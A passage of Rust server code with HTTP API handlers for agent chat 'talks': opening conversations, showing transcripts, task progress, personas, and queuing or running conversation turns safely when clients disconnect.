9039            .flatten()
9040        {
9041            references.markdown(nodes);
9042        }
9043        let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
9044        let persona_name = persona::find(specs, &talk.persona)
9045            .filter(|p| !p.is_default())
9046            .map(|p| p.name);
9047        let mut avatar_persona = persona::find(specs, &talk.persona)
9048            .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default"));
9049        // A removed configured persona may still have an override and old talks.
9050        if avatar_persona.id != talk.persona
9051            && read_icon_file(&avatar_setting_path(home, Some(&talk.persona))).is_some()
9052        {
9053            avatar_persona.id.clone_from(&talk.persona);
9054            avatar_persona.icon = None;
9055        }
9056        let persona_avatar = avatar_url(home, &talk.id, &avatar_persona);
9057        let approvals_store = ask::Questions::at(home.join("questions"));
9058        let merge_approvals = talk
9059            .notified
9060            .iter()
9061            .filter_map(|key| key.strip_prefix("question:"))
9062            .filter_map(|id| approvals_store.get(id).ok())
9063            .filter(|q| crate::task_chat::approval_offered(&talk, q))
9064            .filter_map(|q| {
9065                Some(ChatApproval {
9066                    question: q.id,
9067                    target: q.merge_target?,
9068                })
9069            })
9070            .collect();
9071        let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
9072        Self {
9073            turn_bodies_md,
9074            turn_messages_md,
9075            pending_messages_md,
9076            merge_approvals,
9077            thinking,
9078            context,
9079            operator_name,
9080            persona_name,
9081            persona_avatar,
9082            magi_avatar: magi_icon_url(home),
9083            operator_avatar: operator_icon_url(home),
9084            talk,
9085        }
9086    }
9087}
9088
9089/// Parse only the user-facing representation of an explicitly identified MAGI send.
9090fn notice_markdown(
9091    sender: talk::Sender,
9092    body: &str,
9093    display: Option<&crate::prompt::NoticeDisplay>,
9094) -> Option<Vec<md::Node>> {
9095    if sender != talk::Sender::Magi {
9096        return None;
9097    }
9098    let text = if let Some(display) = display {
9099        display.facts.as_str()
9100    } else {
9101        // Unknown completion templates may contain internal directives. Never
9102        // promote their agent input to the Markdown display surface.
9103        if crate::prompt::is_completion_notice(body)
9104            || body.starts_with(&format!("# {}\n", crate::prompt::CHAT_CONSULT_HEADING))
9105        {
9106            return None;
9107        }
9108        body.strip_prefix("magi: ").unwrap_or(body)
9109    };
9110    Some(md::to_nodes(text, &md::ImageBase::None))
9111}
9112
9113/// `GET /api/talks/{id}`'s answer: a [`TalkView`] plus the queue tasks this
9114/// conversation has filed, so the phone can follow one from inside the
9115/// conversation that asked for it rather than hunting the Queue for a task id
9116/// it may not remember.
9117#[derive(Debug, Serialize)]
9118struct TalkDetailView {
9119    #[serde(flatten)]
9120    view: TalkView,
9121    tasks: Vec<TaskView>,
9122    task_progress: TalkTaskProgress,
9123    goal_link: Option<TalkGoalLink>,
9124    goal_link_for: Timestamp,
9125    /// The agents this talk's repository can switch to; empty when its
9126    /// configuration cannot be read, which must not fail the whole detail.
9127    roster: Vec<RosterEntry>,
9128    /// The personas the conversation can pick from. The built-ins are always
9129    /// listed, even when the repository's configuration cannot be read.
9130    personas: Vec<PersonaEntry>,
9131}
9132
9133/// Progress covers only the tasks returned alongside it, not unresolved chat topics.
9134#[derive(Debug, Serialize)]
9135struct TalkTaskProgress {
9136    state: &'static str,
9137    total: usize,
9138    done: usize,
9139    counts: std::collections::BTreeMap<&'static str, usize>,
9140    unfinished_ids: Vec<String>,
9141}
9142
9143fn talk_task_progress(tasks: &[Task]) -> TalkTaskProgress {
9144    let mut counts = std::collections::BTreeMap::from([
9145        ("queued", 0),
9146        ("running", 0),
9147        ("done", 0),
9148        ("failed", 0),
9149        ("held", 0),
9150        ("blocked", 0),
9151        ("parked", 0),
9152    ]);
9153    let mut unfinished_ids = Vec::new();
9154    for task in tasks {
9155        *counts.entry(task.status.as_str()).or_default() += 1;
9156        if task.status != TaskStatus::Done {
9157            unfinished_ids.push(task.id.clone());
9158        }
9159    }
9160    TalkTaskProgress {
9161        state: if tasks.is_empty() {
9162            "none"
9163        } else if unfinished_ids.is_empty() {
9164            "complete"
9165        } else {
9166            "incomplete"
9167        },
9168        total: tasks.len(),
9169        done: tasks.len() - unfinished_ids.len(),
9170        counts,
9171        unfinished_ids,
9172    }
9173}
9174
9175/// Prefer a referenced task's current Run or Task, then an explicitly
9176/// referenced same-repository Run. Missing/deleted records leave the goal readable.
9177#[derive(Debug, Serialize)]
9178struct TalkGoalLink {
9179    goal: String,
9180    kind: &'static str,
9181    id: String,
9182}
9183
9184fn talk_goal_link(talk: &Talk, queue: &Queue, runs: &FsPath) -> Option<TalkGoalLink> {
9185    let goal = crate::chat_goal::Goal::selected(talk)?;
9186    let repo = goal.effective_repo(&talk.repo);
9187    let valid_run = |id: &str| {
9188        plain_record_id(id)
9189            && read_run(runs, id).is_ok_and(|state| {
9190                state.id == id
9191                    && crate::chat_goal::require_repo("run", id, &state.repo, repo).is_ok()
9192            })
9193    };
9194    for id in goal.tasks.iter().rev() {
9195        let Ok(task) = crate::chat_goal::task_record(queue, id, repo) else {
9196            continue;
9197        };
9198        // Repository reassignments retain historical runs. Only this task's
9199        // current execution can be presented as the goal's current Run.
9200        if let Some(run) = task.execution_runs().last()
9201            && valid_run(run)
9202        {
9203            return Some(TalkGoalLink {
9204                goal: goal.id.clone(),
9205                kind: "run",
9206                id: run.clone(),
9207            });
9208        }
9209        return Some(TalkGoalLink {
9210            goal: goal.id.clone(),
9211            kind: "task",
9212            id: task.id,
9213        });
9214    }
9215    for id in goal.runs.iter().rev() {
9216        if valid_run(id) {
9217            return Some(TalkGoalLink {
9218                goal: goal.id.clone(),
9219                kind: "run",
9220                id: id.clone(),
9221            });
9222        }
9223    }
9224    None
9225}
9226
9227/// One persona as the talk's persona selector shows it.
9228#[derive(Debug, Serialize)]
9229struct PersonaEntry {
9230    id: String,
9231    name: String,
9232    /// Avatar URL, see [`TalkView::persona_avatar`].
9233    avatar: String,
9234}
9235
9236/// One roster agent as the talk's agent selector shows it.
9237#[derive(Debug, Serialize)]
9238struct RosterEntry {
9239    id: String,
9240    kind: AgentKind,
9241    /// Whether its CLI is on `PATH`, i.e. whether choosing it can work.
9242    runnable: bool,
9243}
9244
9245/// Bounded summaries; `/page` carries a cursor for older membership.
9246async fn talks_list(
9247    State(ui): State<Arc<Ui>>,
9248    Query(q): Query<ListQuery>,
9249    headers: header::HeaderMap,
9250) -> ApiResult<Json<Vec<TalkListView>>> {
9251    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
9252        let limit = q.limit.unwrap_or(50).min(50);
9253        let ids = if let Some(ids) = q.ids {
9254            ids.split(',')
9255                .filter(|id| plain_record_id(id))
9256                .take(limit)
9257                .map(str::to_owned)
9258                .collect()
9259        } else {
9260            page_ids(&ui, true, PageQuery::default())?
9261                .0
9262                .into_iter()
9263                .take(limit.min(STORE_PAGE_SIZE))
9264                .collect()
9265        };
9266        Ok(Json(talk_rows(&ui, ids, &headers)))
9267    })
9268    .await
9269}
9270
9271/// The body of `POST /api/talks`, all of it optional: opening a talk needs no
9272/// message. `repo` defaults to the server's own; `agent` to `[roles] chatter`,
9273/// [`talk::begin`]'s own default. Unknown fields are ignored so a newer front
9274/// end still opens a talk against an older binary.
9275#[derive(Debug, Default, Deserialize)]
9276#[serde(default)]
9277struct NewTalk {
9278    agent: Option<String>,
9279    repo: Option<PathBuf>,
9280    /// Remembered choices from the browser. Soft: kept as raw JSON so a
9281    /// wrong type is dropped like a stale value instead of failing the request;
9282    /// each falls back to its default on its own (see [`talk::begin_with`]).
9283    preferred_agent: Option<serde_json::Value>,
9284    persona: Option<serde_json::Value>,
9285    implementers: Option<serde_json::Value>,
9286}
9287
9288/// `POST /api/talks` - open a conversation. Takes no agent turn: see
9289/// [`talk::begin`]'s doc for why there is nothing yet for one to answer.
9290async fn talk_post(
9291    State(ui): State<Arc<Ui>>,
9292    body: std::result::Result<Json<NewTalk>, JsonRejection>,
9293) -> ApiResult<impl IntoResponse> {
9294    // An absent body, or an empty one, is the normal way to open a talk - see
9295    // `NewTalk`'s doc - so a missing content type is treated the same as `{}`
9296    // rather than refused.
9297    let body = match body {
9298        Ok(Json(body)) => body,
9299        Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
9300        Err(e) => return Err(ApiError::bad_request(e.body_text())),
9301    };
9302    let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
9303    let cfg = config_for(&repo).await?;
9304    let view = blocking(move || {
9305        let preferred = talk::Preferred {
9306            agent: body
9307                .preferred_agent
9308                .as_ref()
9309                .and_then(|v| v.as_str())
9310                .map(str::to_owned),
9311            persona: body
9312                .persona
9313                .as_ref()
9314                .and_then(|v| v.as_str())
9315                .map(str::to_owned),
9316            implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
9317        };
9318        let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
9319        let thinking = ui.is_thinking(&talk.id);
9320        Ok(TalkView::new(talk, thinking, &ui))
9321    })
9322    .await?;
9323    Ok((StatusCode::CREATED, Json(view)))
9324}
9325
9326/// Transcript first: unrelated queue history and repository probes are deferred.
9327async fn talk_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TalkView>> {
9328    // Keep transcript reads independent of sections and the runtime blocking pool.
9329    bulk_blocking(ui.monitor.talk_core_slots.clone(), move || {
9330        let id = resolve_talk(&ui.talks, &id)?;
9331        let talk = ui.talks.get(&id)?;
9332        let thinking = ui.is_thinking_observed(&id);
9333        // The browser already resolves Markdown text/code references after
9334        // rendering. A cold reference/review index must not gate the transcript.
9335        Ok(Json(TalkView::with_references(
9336            talk,
9337            thinking,
9338            None,
9339            &ui.home,
9340            &id_links::IdIndex::default(),
9341        )))
9342    })
9343    .await
9344}
9345
9346async fn talk_sections(
9347    State(ui): State<Arc<Ui>>,
9348    Path(id): Path<String>,
9349) -> ApiResult<Json<serde_json::Value>> {
9350    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
9351        let id = resolve_talk(&ui.talks, &id)?;
9352        let talk = ui.talks.get(&id)?;
9353        let tasks = ui.find_tasks_for_talk(&talk.id)?;
9354        let task_progress = talk_task_progress(&tasks);
9355        let goal_link = talk_goal_link(&talk, &ui.queue, &ui.runs);
9356        let tasks: Vec<_> = tasks
9357            .into_iter()
9358            .map(|task| {
9359                serde_json::json!({
9360                    "id": task.id, "title": task.title, "status_str": task.status.as_str(),
9361                })
9362            })
9363            .collect();
9364        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
9365        let roster: Vec<_> = cfg
9366            .as_ref()
9367            .map(|cfg| {
9368                cfg.agents
9369                    .iter()
9370                    .map(|a| RosterEntry {
9371                        id: a.id.clone(),
9372                        kind: a.kind,
9373                        runnable: agent::installed(a),
9374                    })
9375                    .collect()
9376            })
9377            .unwrap_or_default();
9378        let specs = cfg
9379            .as_ref()
9380            .map(|cfg| cfg.talk.personas.clone())
9381            .unwrap_or_default();
9382        let personas: Vec<_> = persona::catalog(&specs)
9383            .into_iter()
9384            .map(|p| PersonaEntry {
9385                avatar: avatar_url(&ui.home, &talk.id, &p),
9386                id: p.id,
9387                name: p.name,
9388            })
9389            .collect();
9390        let active_persona = persona::find(&specs, &talk.persona)
9391            .unwrap_or_else(|| persona::find(&specs, persona::DEFAULT_ID).expect("default"));
9392        let persona_name = (!active_persona.is_default()).then(|| active_persona.name.clone());
9393        let persona_avatar = avatar_url(&ui.home, &talk.id, &active_persona);
9394        Ok(Json(serde_json::json!({
9395            "tasks": tasks, "task_progress": task_progress,
9396            "goal_link": goal_link, "goal_link_for": talk.updated_at,
9397            "roster": roster, "personas": personas,
9398            "context": talk::context_usage(&talk, cfg.as_ref()),
9399            "context_for": talk.updated_at,
9400            "operator_name": cfg.as_ref().and_then(|cfg| cfg.talk.operator_name()),
9401            "persona_name": persona_name,
9402            "persona_avatar": persona_avatar,
9403        })))
9404    })
9405    .await
9406}
9407
9408/// `GET /api/talks/{id}`.
9409async fn talk_detail(
9410    State(ui): State<Arc<Ui>>,
9411    Path(id): Path<String>,
9412) -> ApiResult<Json<TalkDetailView>> {
9413    blocking(move || {
9414        let id = resolve_talk(&ui.talks, &id)?;
9415        let talk = ui.talks.get(&id)?;
9416        let thinking = ui.is_thinking_observed(&talk.id);
9417        let tasks = ui.find_tasks_for_talk(&talk.id)?;
9418        let task_progress = talk_task_progress(&tasks);
9419        let goal_link = talk_goal_link(&talk, &ui.queue, &ui.runs);
9420        let goal_link_for = talk.updated_at;
9421        let tasks = tasks.into_iter().map(TaskView::from).collect();
9422        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
9423        let roster = cfg
9424            .as_ref()
9425            .map(|cfg| {
9426                cfg.agents
9427                    .iter()
9428                    .map(|a| RosterEntry {
9429                        id: a.id.clone(),
9430                        kind: a.kind,
9431                        runnable: agent::installed(a),
9432                    })
9433                    .collect()
9434            })
9435            .unwrap_or_default();
9436        let specs = cfg
9437            .as_ref()
9438            .map(|cfg| cfg.talk.personas.clone())
9439            .unwrap_or_default();
9440        let personas = persona::catalog(&specs)
9441            .into_iter()
9442            .map(|p| PersonaEntry {
9443                avatar: avatar_url(&ui.home, &talk.id, &p),
9444                id: p.id,
9445                name: p.name,
9446            })
9447            .collect();
9448        Ok(Json(TalkDetailView {
9449            view: TalkView::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references),
9450            tasks,
9451            task_progress,
9452            goal_link,
9453            goal_link_for,
9454            roster,
9455            personas,
9456        }))
9457    })
9458    .await
9459}
9460
9461/// The body of `POST /api/talks/{id}/say`.
9462///
9463/// `attachments` names ids `POST /api/talks/{id}/attachments` already
9464/// returned - never bytes of its own - so a turn with no images just omits
9465/// the field, which is what an older front end still does.
9466#[derive(Debug, Default, Deserialize)]
9467#[serde(default, deny_unknown_fields)]
9468struct NewTalkTurn {
9469    reply_to: Option<talk::ReplyTarget>,
9470    text: String,
9471    attachments: Vec<String>,
9472}
9473
9474#[derive(Debug, Deserialize)]
9475#[serde(deny_unknown_fields)]
9476struct EditTalkPending {
9477    #[serde(default)]
9478    message: Option<usize>,
9479    text: String,
9480    expected_text: String,
9481    expected_attachments: Vec<String>,
9482}
9483
9484#[derive(Debug, Deserialize)]
9485#[serde(deny_unknown_fields)]
9486struct ClearTalkPending {
9487    expected_text: String,
9488    expected_attachments: Vec<String>,
9489}
9490
9491/// `POST /api/talks/{id}/say` - one turn of the conversation.
9492///
9493/// Not filesystem work, and therefore not routed through [`blocking`]: this
9494/// route spawns an agent CLI and a turn here can run for the whole of
9495/// [`crate::config::Graph::timeout_talk`] - an hour by default - because a
9496/// research turn is expected to run commands rather than answer from what it
9497/// already knows. Holding an HTTP connection open that long is not a thing
9498/// to ask a phone to do; the operator's message is recorded and answered for
9499/// immediately, and the reply lands in the background, discovered through
9500/// the change stream's `talks_rev` the same way every other update on this
9501/// surface is.
9502async fn talk_say(
9503    State(ui): State<Arc<Ui>>,
9504    Path(id): Path<String>,
9505    body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
9506) -> ApiResult<(StatusCode, Json<TalkView>)> {
9507    let admission = ui.begin_admission()?;
9508    admitted(admission, async move {
9509    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9510    if body.text.trim().is_empty() && body.attachments.is_empty() {
9511        return Err(ApiError::bad_request("say something"));
9512    }
9513
9514    let id = {
9515        let ui = Arc::clone(&ui);
9516        let asked = id.clone();
9517        blocking(move || resolve_talk(&ui.talks, &asked)).await?
9518    };
9519    // A closed Talk never accepts a new immediate or queued turn. Check this
9520    // before claiming a slot so its ordinary domain refusal is a 409, not an
9521    // incidental failure from the later record/queue write.
9522    {
9523        let ui = Arc::clone(&ui);
9524        let id = id.clone();
9525        blocking(move || {
9526            let talk = ui.talks.get(&id)?;
9527            if !talk.status.open() {
9528                return Err(ApiError::conflict(format!(
9529                    "talk {} is {} and takes no more turns",
9530                    talk.short(),
9531                    talk.status.as_str()
9532                )));
9533            }
9534            Ok(())
9535        })
9536        .await?;
9537    }
9538
9539    // Every attachment id resolved to the metadata `talk::record`/`talk::queue`
9540    // actually stores, before anything is written - an unknown id is a 4xx
9541    // that names it rather than a turn (or a queued draft) silently missing
9542    // an image.
9543    let attachments = {
9544        let ui = Arc::clone(&ui);
9545        let id = id.clone();
9546        let ids = body.attachments.clone();
9547        blocking(move || {
9548            ids.into_iter()
9549                .map(|att_id| {
9550                    ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
9551                        ApiError::bad_request(format!("unknown attachment `{att_id}`"))
9552                    })
9553                })
9554                .collect::<ApiResult<Vec<talk::Attachment>>>()
9555        })
9556        .await?
9557    };
9558    let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
9559        .await.map_err(ApiError::from)?;
9560
9561    // Pending recovery and a new immediate turn are decided under the same
9562    // claim lock. Without that one critical section, a second `/say` can see
9563    // the first request's claim as "busy" and append itself to the recovered
9564    // draft before the first request rejects it.
9565    let start = {
9566        let ui = Arc::clone(&ui);
9567        let id = id.clone();
9568        blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
9569    };
9570    let turn_guard = match start {
9571        TalkTurnStart::Claimed(turn_guard) => turn_guard,
9572        TalkTurnStart::Pending => {
9573            return Err(ApiError::conflict(
9574                "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
9575            ));
9576        }
9577        TalkTurnStart::Foreign => {
9578            return Err(ApiError::conflict(
9579                "a turn is already running in another process; try again when it has finished",
9580            ));
9581        }
9582        TalkTurnStart::Busy => {
9583            // A turn is already running: queue rather than refuse. See
9584            // `Ui::begin_talk_turn` and `talk::queue`.
9585            //
9586            // The queue write and the drain it may owe live inside the task
9587            // `tokio::spawn` hands to the runtime, for the same reason the
9588            // immediate path below puts `record` there: a dropped handler
9589            // future must not be able to land between a durable write and
9590            // the task that answers it. `blocking` runs its closure on
9591            // `spawn_blocking`, which finishes whether or not anyone is left
9592            // to receive its result - so a disconnect at the `.await` below
9593            // would otherwise leave the draft persisted and the reclaimed
9594            // `TalkTurnGuard` dropped on the floor, with no `drain_loop`
9595            // ever started and the queued text stranded until some later
9596            // `say` happened to pick it up. The caller's 202 travels back
9597            // over a `oneshot`, sent the moment the write lands.
9598            let (tx, rx) = tokio::sync::oneshot::channel();
9599            tokio::spawn({
9600                let ui = Arc::clone(&ui);
9601                let id = id.clone();
9602                let said = body.text.clone();
9603                let reply_to = body.reply_to.clone();
9604                async move {
9605                    let written = blocking({
9606                        let ui = Arc::clone(&ui);
9607                        let id = id.clone();
9608                        move || {
9609                            let mut talk = ui.talks.get(&id)?;
9610                            // A test-only stop point, right before the write
9611                            // an interleaving test needs to pin - see
9612                            // `BusyQueueGate`. `None` in every real server:
9613                            // the field only exists under `#[cfg(test)]`.
9614                            #[cfg(test)]
9615                            if let Some(gate) = ui
9616                                .busy_queue_gate
9617                                .lock()
9618                                .unwrap_or_else(PoisonError::into_inner)
9619                                .take()
9620                            {
9621                                let _ = gate.reached.send(());
9622                                let _ = gate.release.recv();
9623                            }
9624                            if let Err(error) = talk::queue_reply(
9625                                &mut talk,
9626                                &ui.talks,
9627                                &said,
9628                                attachments,
9629                                reply_to,
9630                            ) {
9631                                if let Ok(fresh) = ui.talks.get(&id) {
9632                                    if !fresh.status.open() {
9633                                        return Err(ApiError::conflict(format!(
9634                                            "talk {} is {} and takes no more turns",
9635                                            fresh.short(),
9636                                            fresh.status.as_str()
9637                                        )));
9638                                    }
9639                                }
9640                                return Err(
9641                                    if error.to_string().contains("invalid reply target") {
9642                                        ApiError::bad_request("invalid reply target")
9643                                    } else {
9644                                        ApiError::from(error)
9645                                    },
9646                                );
9647                            }
9648                            // The turn that looked busy a moment ago can have
9649                            // finished, found nothing to drain and given up the
9650                            // slot in the gap between that check and this write
9651                            // landing - see `drain_loop`'s own doc for the other
9652                            // half of why that gap would otherwise be able to
9653                            // open at all. Reclaiming the slot here, rather than
9654                            // trusting that whoever held it is still watching, is
9655                            // what stops the text just queued from being stranded
9656                            // until an unrelated future `say` happens to drain
9657                            // it.
9658                            let claim = match ui.begin_queued_talk_turn(&id)? {
9659                                Some(turn_guard) => {
9660                                    let (cfg, _) = Config::discover(&talk.repo, None)?;
9661                                    Some((talk.clone(), cfg, turn_guard))
9662                                }
9663                                None => None,
9664                            };
9665                            let thinking = ui.is_thinking(&id);
9666                            Ok((TalkView::new(talk, thinking, &ui), claim))
9667                        }
9668                    })
9669                    .await;
9670                    #[cfg(not(test))]
9671                    {
9672                        match written {
9673                            Ok((view, reclaimed)) => {
9674                                let launched = crate::chat_worker::spawn_turn(&ui.talks, &id).await;
9675                                drop(reclaimed);
9676                                match launched {
9677                                    Ok(_) => { let _ = tx.send(Ok(view)); }
9678                                    Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
9679                                }
9680                            }
9681                            Err(error) => { let _ = tx.send(Err(error)); }
9682                        }
9683                    }
9684                    #[cfg(test)]
9685                    {
9686                    let (view, reclaimed) = match written {
9687                        Ok(pair) => pair,
9688                        Err(e) => {
9689                            // Nobody is listening if the handler's own future
9690                            // was already dropped - that is fine, nothing was
9691                            // persisted and there is no response left to carry
9692                            // this error to.
9693                            let _ = tx.send(Err(e));
9694                            return;
9695                        }
9696                    };
9697                    // If this fails, the caller is gone; the drain below still
9698                    // runs exactly as it would have for a caller that stayed.
9699                    let _ = tx.send(Ok(view));
9700                    if let Some((talk, cfg, turn_guard)) = reclaimed {
9701                        let talks = ui.talks.clone();
9702                        drain_loop(talk, talks, cfg, id, turn_guard).await;
9703                    }
9704                    }
9705                }
9706            });
9707            let view = rx
9708                .await
9709                .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
9710            return Ok((StatusCode::ACCEPTED, Json(view)));
9711        }
9712    };
9713
9714    let (talk, cfg) = {
9715        let ui = Arc::clone(&ui);
9716        let id = id.clone();
9717        blocking(move || {
9718            let talk = ui.talks.get(&id)?;
9719            let (cfg, _) = Config::discover(&talk.repo, None)?;
9720            Ok((talk, cfg))
9721        })
9722        .await?
9723    };
9724
9725    let talks = ui.talks.clone();
9726    // `record` runs *inside* the spawned task, rather than in this handler
9727    // followed by a separate `tokio::spawn` for `respond` - axum drops this
9728    // whole handler future outright on disconnect (see `TalkTurnGuard`'s
9729    // doc), and that drop can land at any `.await` this function makes,
9730    // including one that has already produced its result but not yet
9731    // resumed. A message could end up recorded on disk with the handler
9732    // future gone before it ever reached the `tokio::spawn` that would have
9733    // started the reply. `tokio::spawn` itself is a plain, synchronous call
9734    // that hands the whole future to the runtime as one unit - once made, no
9735    // later drop of *this* handler's own future (that call's return value is
9736    // never held onto here) can reach back in and stop it, so record and the
9737    // hand-off to `respond` are unconditionally atomic from the client's
9738    // point of view. The immediate response this handler owes the caller
9739    // travels back over a `oneshot`, sent the moment `record` succeeds.
9740    let (tx, rx) = tokio::sync::oneshot::channel();
9741    tokio::spawn({
9742        #[cfg(test)]
9743        let ui = Arc::clone(&ui);
9744        let talks = talks.clone();
9745        let id = id.clone();
9746        let said = body.text.clone();
9747        let reply_to = body.reply_to.clone();
9748        let mut talk = talk.clone();
9749        async move {
9750            let recorded = blocking({
9751                let talks = talks.clone();
9752                move || {
9753                    if let Err(error) =
9754                        talk::record_reply(&mut talk, &talks, &said, attachments, reply_to)
9755                    {
9756                        if let Ok(fresh) = talks.get(&talk.id) {
9757                            if !fresh.status.open() {
9758                                return Err(ApiError::conflict(format!(
9759                                    "talk {} is {} and takes no more turns",
9760                                    fresh.short(),
9761                                    fresh.status.as_str()
9762                                )));
9763                            }
9764                        }
9765                        return Err(if error.to_string().contains("invalid reply target") {
9766                            ApiError::bad_request("invalid reply target")
9767                        } else {
9768                            ApiError::from(error)
9769                        });
9770                    }
9771                    // `record` mutates `talk` in place to the freshly persisted
9772                    // state (status, pending, and the just-appended operator
9773                    // turn), so returning it here is equivalent to re-reading it
9774                    // from disk - without the extra round trip a re-read would
9775                    // need.
9776                    Ok((said.trim().to_owned(), talk))
9777                }
9778            })
9779            .await;
9780            let (text, talk) = match recorded {
9781                Ok(pair) => pair,
9782                Err(e) => {
9783                    // Nobody is listening if the handler's own future was
9784                    // already dropped - that is fine, there is no response
9785                    // left to carry this error to and nothing was persisted.
9786                    let _ = tx.send(Err(e));
9787                    return;
9788                }
9789            };
9790            #[cfg(not(test))]
9791            {
9792                let _ = (&cfg, &text);
9793                // The reservation becomes durable while this process still
9794                // holds the talk lease. The child waits for that lease; the
9795                // new UI sees its startup reservation immediately.
9796                let result = crate::chat_worker::spawn_recorded_turn(
9797                    &talks, &id, talk.turns.len() - 1,
9798                ).await;
9799                drop(turn_guard);
9800                match result {
9801                    Ok(_) => { let _ = tx.send(Ok((talk, true))); }
9802                    Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
9803                }
9804            }
9805            #[cfg(test)]
9806            {
9807            let queued = talk.clone();
9808            let mut talk = talk;
9809            let thinking = ui.is_thinking(&id);
9810            // If this fails, the caller is gone; the turn still runs below
9811            // exactly as it would have for a caller that stayed connected.
9812            let _ = tx.send(Ok((queued, thinking)));
9813
9814            if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
9815                // `respond` records the failure in the transcript itself,
9816                // which is what the phone reads; this line is for the
9817                // operator's terminal.
9818                tracing::warn!("talk {id} turn failed: {e:#}");
9819            }
9820            // Anything `talk::queue` added while the turn above was running
9821            // is still owed an answer - see `drain_loop`.
9822            drain_loop(talk, talks, cfg, id, turn_guard).await;
9823            }
9824        }
9825    });
9826
9827    let (queued, thinking) = rx
9828        .await
9829        .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
9830
9831    // 202: the operator's message is recorded and a turn is running.
9832    Ok((
9833        StatusCode::ACCEPTED,
9834        Json(TalkView::new(queued, thinking, &ui)),
9835    ))
9836    }).await
9837}
9838
9839/// `POST /api/talks/{id}/pending/resume` promotes a persisted draft without
9840/// changing it. The turn guard is the same per-talk ownership `talk_say`
9841/// holds, so duplicate recovery clicks cannot resume the CLI session twice.
9842async fn talk_pending_resume(
9843    State(ui): State<Arc<Ui>>,
9844    Path(id): Path<String>,
9845) -> ApiResult<(StatusCode, Json<TalkView>)> {
9846    let admission = ui.begin_admission()?;
9847    admitted(admission, async move {
9848        let id = {
9849            let ui = Arc::clone(&ui);
9850            let asked = id.clone();
9851            blocking(move || resolve_talk(&ui.talks, &asked)).await?
9852        };
9853        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
9854            .await
9855            .map_err(ApiError::from)?;
9856        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9857            return Err(ApiError::conflict(
9858                "a talk turn is already running; the queued draft will be handled by it",
9859            ));
9860        };
9861        let (talk, cfg) = {
9862            let ui = Arc::clone(&ui);
9863            let id = id.clone();
9864            blocking(move || {
9865                let talk = ui.talks.get(&id)?;
9866                if !talk.status.open() {
9867                    return Err(ApiError::conflict(format!(
9868                        "talk {} is {} and takes no more turns",
9869                        talk.short(),
9870                        talk.status.as_str()
9871                    )));
9872                }
9873                if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
9874                    return Err(ApiError::conflict("there is no queued draft to resume"));
9875                }
9876                let (cfg, _) = Config::discover(&talk.repo, None)?;
9877                Ok((talk, cfg))
9878            })
9879            .await?
9880        };
9881        let view = TalkView::new(talk.clone(), true, &ui);
9882        let talks = ui.talks.clone();
9883        #[cfg(not(test))]
9884        detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
9885        #[cfg(test)]
9886        tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
9887        Ok((StatusCode::ACCEPTED, Json(view)))
9888    })
9889    .await
9890}
9891
9892/// Hand off an admitted draft while retaining the talk lease until its
9893/// detached startup reservation is durable.
9894#[cfg(not(test))]
9895async fn detach_talk_turn(
9896    _talk: Talk,
9897    talks: Talks,
9898    _cfg: Config,
9899    id: String,
9900    turn: TalkTurnGuard,
9901) -> ApiResult<()> {
9902    let launched = crate::chat_worker::spawn_turn(&talks, &id).await;
9903    drop(turn);
9904    launched.map(|_| ()).map_err(ApiError::from)
9905}
9906
9907#[cfg(test)]
9908async fn drain_loop(talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
9909    drain_loop_started(talk, talks, cfg, id, turn, None).await;
9910}
9911
9912/// A settings response must not report idle while its claim is still held.
9913/// Wait until the first drain either releases the claim or promotes a draft.
9914/// The task owns the guard even if the HTTP handler is cancelled while waiting.
9915async fn settle_settings_turn(
9916    talk: Talk,
9917    talks: Talks,
9918    cfg: Config,
9919    id: String,
9920    turn: TalkTurnGuard,
9921    observed: u64,
9922) -> bool {
9923    if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
9924        let turns = Arc::clone(&turn.turns);
9925        let mut live = turns.lock().unwrap_or_else(PoisonError::into_inner);
9926        if live.queued.get(&id).copied().unwrap_or(0) == observed {
9927            // Release under the arrival lock; a later `/say` takes its own claim.
9928            turn.release(&mut live);
9929            return false;
9930        }
9931    }
9932    let (started, settled) = tokio::sync::oneshot::channel();
9933    tokio::spawn(drain_loop_started(
9934        talk,
9935        talks,
9936        cfg,
9937        id,
9938        turn,
9939        Some(started),
9940    ));
9941    settled.await.unwrap_or(false)
9942}
9943
9944#[cfg(not(test))]
9945async fn drain_loop_started(
9946    talk: Talk,
9947    talks: Talks,
9948    _cfg: Config,
9949    id: String,
9950    turn: TalkTurnGuard,
9951    started: Option<tokio::sync::oneshot::Sender<bool>>,
9952) {
9953    let pending = !talk.pending.is_empty() || !talk.pending_attachments.is_empty();
9954    let running = if pending {
9955        match crate::chat_worker::spawn_turn(&talks, &id).await {
9956            Ok(_) => true,
9957            Err(error) => {
9958                tracing::warn!("talk {id}: could not launch draft worker: {error:#}");
9959                false
9960            }
